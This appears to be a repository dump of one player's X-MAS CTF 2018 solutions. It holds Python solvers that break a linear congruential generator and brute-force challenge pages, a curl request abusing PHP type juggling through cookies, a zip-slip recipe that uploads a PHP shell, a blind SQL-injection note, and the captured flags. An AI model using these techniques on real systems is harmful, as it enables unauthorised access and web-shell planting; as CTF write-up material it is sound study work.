/xmasctf-2018/README.md: -------------------------------------------------------------------------------- 1 | # X-MAS CTF 2018 2 | 3 | I solved the following(might forgot few), so you may see code/ tl;dr writeup for most of them here: 4 | ``` 5 | Probably Really Nice Goodies (Crypto) 6 | A White Rabbit in Snowstorm (Crypto) 7 | Greetings from Santa (Pwn) 8 | BoJack (Misc/For) 9 | Mission: Save the Christmas (Misc/For) 10 | Suspicious Hacking Game (Misc/For) 11 | Christmas Dilemma (Misc/PPC) 12 | Krampus (Misc/PPC) 13 | Weird List of Sequences (Misc/PPC) 14 | Weird Transmission (Misc/PPC) 15 | A Present for Santa (Misc) 16 | Dataflow Programming (RE) 17 | Lapland 1 (Web/Cry) 18 | Lapland Monolith (Web/Cry) 19 | Bu77on (Web) 20 | Santa's lucky num (Web) 21 | No pass (Web) 22 | Reindeers and Cookies (Web) 23 | Super Secure Siberian Vault (Web) 24 | Christmas Tree (For) 25 | Message for Santa (For) 26 | Santa's Security (For) 27 | 28 | ``` 29 | -------------------------------------------------------------------------------- /xmasctf-2018/misc/dilemma/pwndilemma.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import hashlib 3 | import operator 4 | from itertools import product 5 | from string import printable 6 | import re 7 | 8 | #context.log_level='DEBUG' 9 | r = remote('199.247.6.180', 14001) 10 | op = 0 11 | vals = {} 12 | h = r.recvlines(2)[1][49:54] 13 | print 'Got ', h 14 | i = 1 15 | z = 0 16 | while True: 17 | for x in product(printable, repeat=i): 18 | st = ''.join(x) 19 | c = md5sumhex(st) 20 | if c[:5] == h: 21 | print 'GOT IT: ',md5sumhex(st) 22 | r.send(st) 23 | z = 1 24 | break 25 | 26 | if z: 27 | break 28 | i +=1 29 | r.recvline() 30 | r.recvline() 31 | s = r.recvline() 32 | bou = re.findall('\((.*?)\)',s)[0] 33 | lower = bou.split(',')[0] 34 | upper = bou.split(',')[1].strip(" ") 35 | print "[+] Upper bound "+upper 36 | print "[+] Lower bound "+lower 37 | upper_int = int(upper) 38 | lower_int = int(lower) 39 | r.recvline() 40 | r.recvline() 41 | r.recvline() 42 | r.recvline() 43 | r.recvline() 44 | r.recvline() 45 | r.recvline() 46 | for i in range(lower_int, upper_int+1, 1): 47 | r.sendline("1") 48 | r.recvuntil("t: ") 49 | r.sendline(str(i)) 50 | x = r.recvline() 51 | x = x.split("=")[1].strip('\n').strip(' ') 52 | vals[i] = float(x) 53 | op = op+1 54 | print "[+] Total operation until now: "+str(op) 55 | print vals 56 | print "[+] Finding maximum outta those " 57 | bubu = sorted(vals.items(), key=operator.itemgetter(1)) 58 | print "[+] This "+str(bubu[-1][0])+" gave highest "+str(bubu[-1][1]) 59 | print "[+] Followed by "+str(bubu[-2][0])+" with "+str(bubu[-2][1]) 60 | print "[+] Followed by "+str(bubu[-3][0])+" with "+str(bubu[-3][1]) 61 | r.interactive() 62 | #r.close() 63 | -------------------------------------------------------------------------------- /xmasctf-2018/misc/dilemma/trace.txt: -------------------------------------------------------------------------------- 1 | $ python pwndilemma.py 2 | [+] Opening connection to 199.247.6.180 on port 14001: Done 3 | [+] Upper bound 131 4 | [+] Lower bound -13 5 | [+] Total operation until now: 145 6 | {0: -4.99847235798, 1: -2.62898660888, 2: 19.9765320945, 3: 37.9886660471, 4: 28.3882947647, 5: 18.7879234822, 6: 9.18755219978, 7: -0.412819082663, 8: -10.0131903651, 9: -10.6106976564, 10: -8.9943099387, 11: -7.37792222095, 12: -5.76153450321, 13: -4.14514678546, 14: -2.52875906772, 15: -0.912371349976, 16: 0.704016367769, 17: 2.32040408551, 18: 3.93679180326, 19: 5.553179521, 20: 7.16956723875, 21: 8.78595495649, 22: 10.4023426742, 23: 12.018730392, 24: 13.6351181097, 25: 15.2515058275, 26: 16.8678935452, 27: 18.484281263, 28: 13.2057622006, 29: 11.221843019, 30: 9.23792383735, 31: 7.25400465574, 32: 5.27008547412, 33: 3.2861662925, 34: 1.30224711088, 35: 0.133575734494, 36: -0.649968792975, 37: -1.43351332044, 38: -2.21705784791, 39: -3.00060237538, 40: -3.78414690285, 41: -4.56769143032, 42: -5.35123595779, 43: -6.13478048526, 44: -6.91832501272, 45: -6.07940701077, 46: -5.19777662544, 47: -4.31614624012, 48: -3.43451585479, 49: -2.55288546946, 50: -1.67125508414, 51: -0.789624698811, 52: 0.0920056865157, 53: 0.973636071842, 54: 1.85526645717, 55: 2.73689684249, 56: 3.61852722782, 57: 4.50015761315, 58: 5.38178799847, 59: 6.2634183838, 60: 7.14504876913, 61: 8.02667915445, 62: 8.90830953978, 63: 9.78993992511, 64: 10.6715703104, 65: 11.5532006958, 66: 12.4348310811, 67: 20.0296271079, 68: 34.5307864836, 69: 34.2387938396, 70: 33.9468011957, 71: 33.6548085517, 72: 33.3628159078, 73: 33.0708232638, 74: 32.7788306199, 75: 32.4868379759, 76: 32.1948453319, 77: 31.902852688, 78: 31.610860044, 79: 31.3188674001, 80: 31.0268747561, 81: 30.7348821122, 82: 30.4428894682, 83: 30.1508968243, 84: 29.8589041803, 85: 29.5669115364, 86: 29.2749188924, 87: 28.9829262485, 88: 28.6909336045, 89: 28.3989409606, 90: 28.1069483166, 91: 27.8149556727, 92: 14.7120321559, 93: 0.664238542508, 94: -1.32523997489, 95: -3.31471849229, 96: -5.3041970097, 97: -0.041020310563, 98: 12.5772709773, 99: 12.0292530113, 100: 11.4812350453, 101: 10.9332170793, 102: 10.3851991133, 103: 9.83718114735, 104: 9.28916318136, 105: 8.74114521537, 106: 8.19312724938, 107: 7.64510928339, 108: 7.0970913174, 109: 6.54907335141, 110: 6.00105538542, 111: 5.45303741943, 112: 5.22172129988, 113: 5.63563523489, 114: 6.04954916989, 115: 6.4634631049, 116: 6.8773770399, 117: 7.29129097491, 118: 7.70520490992, 119: 8.11911884492, 120: 8.53303277993, 121: 8.94694671493, 122: 9.36086064994, 123: 9.77477458495, 124: 10.18868852, 125: 10.602602455, 126: 11.01651639, 127: 11.430430325, 128: 11.84434426, 129: 12.258258195, 130: 12.67217213, 131: 13.086086065, -1: 4.31528201237, -13: 14.4396816377, -12: 15.3793632755, -11: 16.3190449132, -10: 17.2587265509, -9: 18.1984081887, -8: 19.1380898264, -7: 20.0777714642, -6: 21.0174531019, -5: 21.9571347396, -4: 22.8968163774, -3: 22.9427907531, -2: 13.6290363827} 7 | [+] Finding maximum outta those 8 | [+] This 3 gave highest 37.9886660471 9 | [+] Followed by 68 with 34.5307864836 10 | [+] Followed by 69 with 34.2387938396 11 | [*] Switching to interactive mode 12 | Choose your action: 13 | [1] Query the value of the function at some point 14 | [2] Guess the global maximum 15 | 16 | $ 1 17 | Enter a float: $ 3.1 18 | f(3.1) = 37.0286289189 19 | Choose your action: 20 | [1] Query the value of the function at some point 21 | [2] Guess the global maximum 22 | 23 | $ 1 24 | Enter a float: $ 2.99 25 | f(2.99) = 38.08466976 26 | Choose your action: 27 | [1] Query the value of the function at some point 28 | [2] Guess the global maximum 29 | 30 | $ 1 31 | Enter a float: $ 3.01 32 | f(3.01) = 37.8926623343 33 | Choose your action: 34 | [1] Query the value of the function at some point 35 | [2] Guess the global maximum 36 | 37 | $ 1 38 | Enter a float: $ 2.9 39 | f(2.9) = 38.9487031754 40 | Choose your action: 41 | [1] Query the value of the function at some point 42 | [2] Guess the global maximum 43 | 44 | $ 1 45 | Enter a float: $ 2.8 46 | f(2.8) = 38.0609470572 47 | Choose your action: 48 | [1] Query the value of the function at some point 49 | [2] Guess the global maximum 50 | 51 | $ 1 52 | Enter a float: $ 2.85 53 | f(2.85) = 39.1912229924 54 | Choose your action: 55 | [1] Query the value of the function at some point 56 | [2] Guess the global maximum 57 | 58 | $ 1 59 | Enter a float: $ 2.86 60 | f(2.86) = 39.3327180267 61 | Choose your action: 62 | [1] Query the value of the function at some point 63 | [2] Guess the global maximum 64 | 65 | $ 1 66 | Enter a float: $ 2.87 67 | f(2.87) = 39.2367143138 68 | Choose your action: 69 | [1] Query the value of the function at some point 70 | [2] Guess the global maximum 71 | 72 | $ 1 73 | Enter a float: $ 2.869 74 | f(2.869) = 39.2463146851 75 | Choose your action: 76 | [1] Query the value of the function at some point 77 | [2] Guess the global maximum 78 | 79 | $ 1 80 | Enter a float: $ 2.861 81 | f(2.861) = 39.3231176554 82 | Choose your action: 83 | [1] Query the value of the function at some point 84 | [2] Guess the global maximum 85 | 86 | $ 1 87 | Enter a float: $ 2.860 88 | f(2.86) = 39.3327180267 89 | Choose your action: 90 | [1] Query the value of the function at some point 91 | [2] Guess the global maximum 92 | 93 | $ 1 94 | Enter a float: $ 2.865 95 | f(2.865) = 39.2847161703 96 | Choose your action: 97 | [1] Query the value of the function at some point 98 | [2] Guess the global maximum 99 | 100 | $ 1 101 | Enter a float: $ 1 102 | f(1.0) = -2.62898660888 103 | Choose your action: 104 | [1] Query the value of the function at some point 105 | [2] Guess the global maximum 106 | 107 | $ 1 108 | Enter a float: $ 2.8609 109 | f(2.8609) = 39.3240776925 110 | Choose your action: 111 | [1] Query the value of the function at some point 112 | [2] Guess the global maximum 113 | 114 | $ 1 115 | Enter a float: $ 2.8600 116 | f(2.86) = 39.3327180267 117 | Choose your action: 118 | [1] Query the value of the function at some point 119 | [2] Guess the global maximum 120 | 121 | $ 1 122 | Enter a float: $ 2.8601 123 | f(2.8601) = 39.3317579895 124 | Choose your action: 125 | [1] Query the value of the function at some point 126 | [2] Guess the global maximum 127 | 128 | $ 2 129 | Enter your guess: $ 39.33 130 | Nope, that's quite far away from the real answer. 131 | Choose your action: 132 | [1] Query the value of the function at some point 133 | [2] Guess the global maximum 134 | 135 | $ 2 136 | Enter your guess: $ 2.86 137 | Nope, that's quite far away from the real answer. 138 | Choose your action: 139 | [1] Query the value of the function at some point 140 | [2] Guess the global maximum 141 | 142 | $ 2 143 | Enter your guess: $ 39.34 144 | Nope, that's quite far away from the real answer. 145 | Choose your action: 146 | [1] Query the value of the function at some point 147 | [2] Guess the global maximum 148 | 149 | $ 2 150 | Enter your guess: $ 39.35 151 | Congratulations! Here's your flag! 152 | X-MAS{Th4nk5_for_m4k1ng_a_ch1ld_h4ppy_th1s_Chr1stma5} 153 | -------------------------------------------------------------------------------- /xmasctf-2018/misc/krampus/solve.txt: -------------------------------------------------------------------------------- 1 | python jail escape, download source, exploit minecraft game. 2 | X-MAS{M1N3CR4F7_4nd_Py7h0n_C0m3_7og3th3r_0n_Christmas} 3 | -------------------------------------------------------------------------------- /xmasctf-2018/misc/transmission/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | ''' 4 | Listen the audio, reverse it (like literally reverse) 5 | Then note down the stupid co-ordinates 6 | Use the center of mass formula for Triangle 7 | ''' 8 | 9 | x1=511713656388765455430016138955706839007890052532 10 | x2=390393142500834541752332649936545354218395003257 11 | x3=608097554835704767294367078594102923662585120876 12 | 13 | y1=1622805609316535864254436412730925222158623332074 14 | y2=176460719206642987153469086794475382972064519404 15 | y3=195121033653477539025103641752423493583135321761 16 | 17 | final_x = (x1+x2+x3)/3 18 | final_y = (y1+y2+y3)/3 19 | 20 | top = hex(final_x)[2:-1].decode('hex') 21 | kek = hex(final_y)[2:-1].decode('hex') 22 | 23 | print top+kek 24 | #X-MAS{An4ly71c_G30m3try_S4v3d_Chr157m4s} 25 | -------------------------------------------------------------------------------- /xmasctf-2018/misc/weirdsequences.md: -------------------------------------------------------------------------------- 1 | # Weird List of Sequences 2 | 3 | Well, everyone who does math knows it https://oeis.org/ 4 | -------------------------------------------------------------------------------- /xmasctf-2018/web/bu77on/README.md: -------------------------------------------------------------------------------- 1 | # Bu77on 2 | The answer will blow your mind. Just the button name to `flag`. 3 | 4 | ##### X-MAS{PhPs_A1n7_m4d3_f0r_bu77_0ns___:)} 5 | -------------------------------------------------------------------------------- /xmasctf-2018/web/luckynum/luckysolver.py: -------------------------------------------------------------------------------- 1 | import re 2 | from bs4 import BeautifulSoup 3 | import requests 4 | 5 | brute_guess = 'X-MAS{'.encode('hex') 6 | brute_guess_p = 'X-MAS' 7 | url = "http://199.247.6.180:12005/?page=" 8 | 9 | for i in xrange(1000, 3000): 10 | r = requests.get(url+str(i)) 11 | soup = BeautifulSoup(r.text, 'lxml') 12 | g = str(soup.find_all('p')[1]) 13 | goal = re.findall(">\n(.+?)<", g)[0] 14 | if goal.find(brute_guess) != -1: 15 | print "[+] Candidate Found "+str(i) 16 | print goal 17 | break 18 | elif goal.find(brute_guess_p) != -1: 19 | print "[+] Candidate Found (plain) "+str(i) 20 | print goal 21 | break 22 | else: 23 | print "[!] "+str(i)+" got "+goal 24 | -------------------------------------------------------------------------------- /xmasctf-2018/web/nologin/README.md: -------------------------------------------------------------------------------- 1 | # No Login 2 | 3 | ``` 4 | Blind Boolean based injection over User-Agent 5 | mysql database 6 | database = db 7 | table = uas 8 | column = ua 9 | row dumping 10 | ```` 11 | 12 | X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3} 13 | -------------------------------------------------------------------------------- /xmasctf-2018/web/reindeerandcookies/README.md: -------------------------------------------------------------------------------- 1 | # Reindeers and Cookies 2 | 3 | Type Juggling + Cookie manipulation (IDOR) 4 | -------------------------------------------------------------------------------- /xmasctf-2018/web/reindeerandcookies/pwn.sh: -------------------------------------------------------------------------------- 1 | curl -i -s -k -X $'GET' \ 2 | -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36' -H $'Upgrade-Insecure-Requests: 1' \ 3 | -b $'adminpass[]=MyLittleCookie%21; cookiez=WlhsS2NGcERTVFpKYWtWcFRFTktNR1ZZUW14SmFtOXBXVmRTZEdGWE5HbG1VVDA5' \ 4 | $'http://199.247.6.180:12008/' 5 | 6 | #X-MAS{S4n74_L0v35__C00kiesss_And_Juggl1ng!} 7 | -------------------------------------------------------------------------------- /xmasctf-2018/web/siberian/README.md: -------------------------------------------------------------------------------- 1 | # Siberian 2 | 3 | Zip-Slip your way through 4 | 5 | ``` 6 | touch ../../img/pwn.php 7 | 8 | zip meh.zip ../../img/pwn.php 9 | Upload! 10 | Enjoy Shell 11 | ``` 12 | 13 | ##### X-MAS{Z1pp3r_D0wn_S4nt4!_Y0ur_Secr3t5_4r3_n0w_0ur5} 14 | -------------------------------------------------------------------------------- /xmasctf-2018/webcry/lapland-monolith/solve.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | import re 4 | 5 | sesx = requests.session() 6 | 7 | def xgcd(a, b): 8 | if a == 0: 9 | return (b, 0, 1) 10 | else: 11 | g, y, x = xgcd(b % a, a) 12 | return (g, x - (b // a) * y, y) 13 | def gcd(a, b): 14 | if b == 0: 15 | return a 16 | else: 17 | return gcd(b, a % b) 18 | def solve(s): 19 | nrand = len(s) 20 | t = [] 21 | for x in range(nrand-1): 22 | t.append(s[x+1]-s[x]) 23 | u = [] 24 | for x in range(nrand-3): 25 | u.append(abs(t[x+2]*t[x]-t[x+1]**2)) 26 | m = reduce(gcd, u) 27 | r4 = s[-4] 28 | r3 = s[-3] 29 | r2 = s[-2] 30 | r1 = s[-1] 31 | x = r2-r4 32 | b = r1-r3 33 | if x<0: 34 | x*=-1 35 | b*=-1 36 | if b<0: 37 | b=b%m 38 | g,x2,y2 = xgcd(x, m) 39 | if g==1: 40 | xi = x2%m 41 | a=(b*xi)%m 42 | c=(r1-r2*a)%m 43 | return [m,a,c] 44 | else: 45 | return None 46 | 47 | ''' 48 | # Altho didn't used 49 | def missingcalc(s): 50 | seed = s[0] 51 | for m in xrange(seed, 10*seed): 52 | for a in xrange(2, m): 53 | c = s[3] - ((s[2]*a)%m) 54 | if c < 0: 55 | c+=m 56 | my_x2 = (s[2]*a+c)%m 57 | assert my_x2 == s[3] 58 | my_x3 = (s[3]*a+c)%m 59 | my_x4 = (s[4]*a+c)%m 60 | my_x5 = (s[5]*a+c)%m 61 | if my_x3 == s[4]: 62 | return m,a,c 63 | ''' 64 | 65 | goal = 20 66 | s = [] 67 | 68 | print "[+] Collecting samples" 69 | 70 | for i in xrange(0, goal): 71 | r = sesx.get("http://45.76.90.207:12006/?guess=1") 72 | so = BeautifulSoup(r.text, "lxml") 73 | meh = so.find_all('p')[1] 74 | meh = str(meh) 75 | num = int(re.findall("/>(.+?)<", meh)[1]) 76 | s.append(num) 77 | 78 | print "[+] Samples collected" 79 | print "[+] Trying to break" 80 | m, a, c = solve(s) 81 | if not m or not a or not c: 82 | print "[-] Retry" 83 | print m,a,c 84 | print "[+] Pwned!" 85 | nextNum = (a*s[-1]+c)%m 86 | for i in xrange(0, 50): 87 | r1 = sesx.get("http://45.76.90.207:12006/?guess="+str(nextNum)) 88 | nextNum = ((a*nextNum)+c)%m 89 | print r1.text 90 | #X-MAS{LCG_0n_7h3_LapL4nd_m0n0LiTh_1s_n0t_7ha7_s3cur3} 91 | -------------------------------------------------------------------------------- /xmasctf-2018/webcry/lapland/solve.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from bs4 import BeautifulSoup 3 | import re 4 | 5 | sesx = requests.session() 6 | 7 | def xgcd(a, b): 8 | if a == 0: 9 | return (b, 0, 1) 10 | else: 11 | g, y, x = xgcd(b % a, a) 12 | return (g, x - (b // a) * y, y) 13 | def gcd(a, b): 14 | if b == 0: 15 | return a 16 | else: 17 | return gcd(b, a % b) 18 | def solve(s): 19 | nrand = len(s) 20 | t = [] 21 | for x in range(nrand-1): 22 | t.append(s[x+1]-s[x]) 23 | u = [] 24 | for x in range(nrand-3): 25 | u.append(abs(t[x+2]*t[x]-t[x+1]**2)) 26 | m = reduce(gcd, u) 27 | r4 = s[-4] 28 | r3 = s[-3] 29 | r2 = s[-2] 30 | r1 = s[-1] 31 | x = r2-r4 32 | b = r1-r3 33 | if x<0: 34 | x*=-1 35 | b*=-1 36 | if b<0: 37 | b=b%m 38 | g,x2,y2 = xgcd(x, m) 39 | if g==1: 40 | xi = x2%m 41 | a=(b*xi)%m 42 | c=(r1-r2*a)%m 43 | return [m,a,c] 44 | else: 45 | return None 46 | 47 | ''' 48 | # Altho didn't used 49 | def missingcalc(s): 50 | seed = s[0] 51 | for m in xrange(seed, 10*seed): 52 | for a in xrange(2, m): 53 | c = s[3] - ((s[2]*a)%m) 54 | if c < 0: 55 | c+=m 56 | my_x2 = (s[2]*a+c)%m 57 | assert my_x2 == s[3] 58 | my_x3 = (s[3]*a+c)%m 59 | my_x4 = (s[4]*a+c)%m 60 | my_x5 = (s[5]*a+c)%m 61 | if my_x3 == s[4]: 62 | return m,a,c 63 | ''' 64 | 65 | goal = 20 66 | s = [] 67 | 68 | print "[+] Collecting samples" 69 | 70 | for i in xrange(0, goal): 71 | r = sesx.get("http://45.76.90.207:12000/?guess=1") 72 | so = BeautifulSoup(r.text, "lxml") 73 | meh = so.find_all('p')[1] 74 | meh = str(meh) 75 | num = int(re.findall("/>(.+?)<", meh)[1]) 76 | s.append(num) 77 | 78 | print "[+] Samples collected" 79 | print "[+] Trying to break" 80 | m, a, c = solve(s) 81 | if not m or not a or not c: 82 | print "[-] Retry" 83 | print m,a,c 84 | print "[+] Pwned!" 85 | nextNum = (a*s[-1]+c)%m 86 | for i in xrange(0, 50): 87 | r1 = sesx.get("http://45.76.90.207:12000/?guess="+str(nextNum)) 88 | nextNum = ((a*nextNum)+c)%m 89 | print r1.text 90 | 91 | # X-MAS{Bru73_F0rc3_1s_gr34t_bu7_LCG_1s_b3tt3r___} 92 | --------------------------------------------------------------------------------